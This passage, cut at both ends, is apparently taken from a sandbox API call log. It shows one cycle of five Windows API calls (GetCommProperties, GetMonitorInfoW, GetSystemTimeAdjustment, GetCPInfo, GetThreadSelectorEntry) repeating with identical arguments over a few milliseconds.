lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.667] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.667] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.667] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.667] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.667] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.667] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.667] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.667] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.667] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.667] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.667] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.667] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.667] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.667] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.667] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.667] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.667] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.667] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.667] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.667] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.667] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.667] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.667] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.667] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.668] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.668] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.668] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.668] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.668] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.668] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.668] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.668] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.668] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.668] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.668] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.668] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.668] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.668] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.668] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.668] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.668] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.668] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.668] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.668] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.668] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.668] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.668] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.668] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.668] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.668] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.669] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.669] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.669] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.669] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.669] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.669] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.669] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.669] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.669] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.669] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.669] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.669] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.669] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.669] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.669] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.669] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.669] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.669] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.669] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.669] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.669] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.669] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.669] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.669] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.669] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.670] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.670] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.670] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.670] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.670] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.670] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.670] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.670] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.670] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.670] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.670] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.670] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.670] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.670] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.670] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.670] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.670] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.670] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.670] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.670] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.670] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.670] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.670] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.670] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.670] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.671] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.671] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.671] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.671] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.671] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.671] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.671] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.671] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.671] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.671] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.671] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.671] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.671] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.671] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.671] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.671] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.671] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.671] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.671] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.671] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.671] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.671] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.671] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.671] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.671] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.672] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.672] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.672] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.672] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.672] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.672] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.672] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.672] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.672] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.672] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.672] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.672] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.672] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.672] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.672] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.672] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.672] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.672] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.672] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.672] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.672] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.672] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.672] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.672] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.672] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.673] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.673] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.673] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.673] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.673] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.673] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.673] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.673] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.673] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.673] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.673] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.673] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.673] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.673] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.673] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.673] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.673] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.673] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.673] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.673] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.673] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.673] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.673] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.673] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.673] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.674] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.674] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.674] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.674] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.674] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.674] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.674] GetSystemTimeAdjustment (in: 